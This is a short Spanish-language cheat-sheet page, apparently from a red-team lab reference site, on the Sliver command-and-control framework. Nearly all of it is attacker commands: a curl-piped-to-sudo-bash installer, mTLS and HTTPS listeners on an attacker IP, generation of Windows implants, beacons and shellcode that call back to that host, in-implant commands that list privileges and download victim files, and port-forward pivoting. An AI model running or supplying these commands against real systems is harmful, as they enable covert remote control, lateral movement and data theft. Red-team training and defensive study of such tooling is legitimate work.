Sliver

Sliver es la alternativa libre a Cobalt Strike que más se usa en laboratorios de red team y Pro Labs. Genera implantes para cada sistema y gestiona sesiones, pivotes y extensiones (armory) desde una consola.

Plataforma: Linux · Windows · macOS (Go)
Web oficial: github.com/BishopFox/sliver

Instalación

curl https://sliver.sh/install | sudo bash

T1071.001 Protocolos web

Chuleta de Sliver

Tus datos Se guardan en este navegador y se aplican a todas las chuletas.

Tu IP (atacante) Puerto

9 comandos

En nuestras chuletas

C2 y post-explotación › Sliver

Servidor y consola Atacante

sliver-server

Listener mTLS Atacante

mtls --lhost 10.10.14.5 --lport 443

Listener HTTP(S) (se mezcla con tráfico web) Atacante

https --lhost 10.10.14.5 --lport 443

Sesión (interactiva) Atacante

generate --mtls 10.10.14.5:443 --os windows --arch amd64 --format exe --save /tmp

Beacon (llama cada cierto tiempo) Atacante

generate beacon --http 10.10.14.5 --seconds 30 --jitter 5 --os windows --save /tmp

shellcode / DLL Atacante

generate --mtls 10.10.14.5 --format shellcode --save /tmp/sc.bin

Ver sesiones y entrar

sessions
use <id>

Órdenes dentro del implante

info; getprivs; execute -o whoami /all; ls; download C:\\ruta\\fichero

Pivotar con port forward

portfwd add --bind 127.0.0.1:1433 --remote 10.10.0.5:1433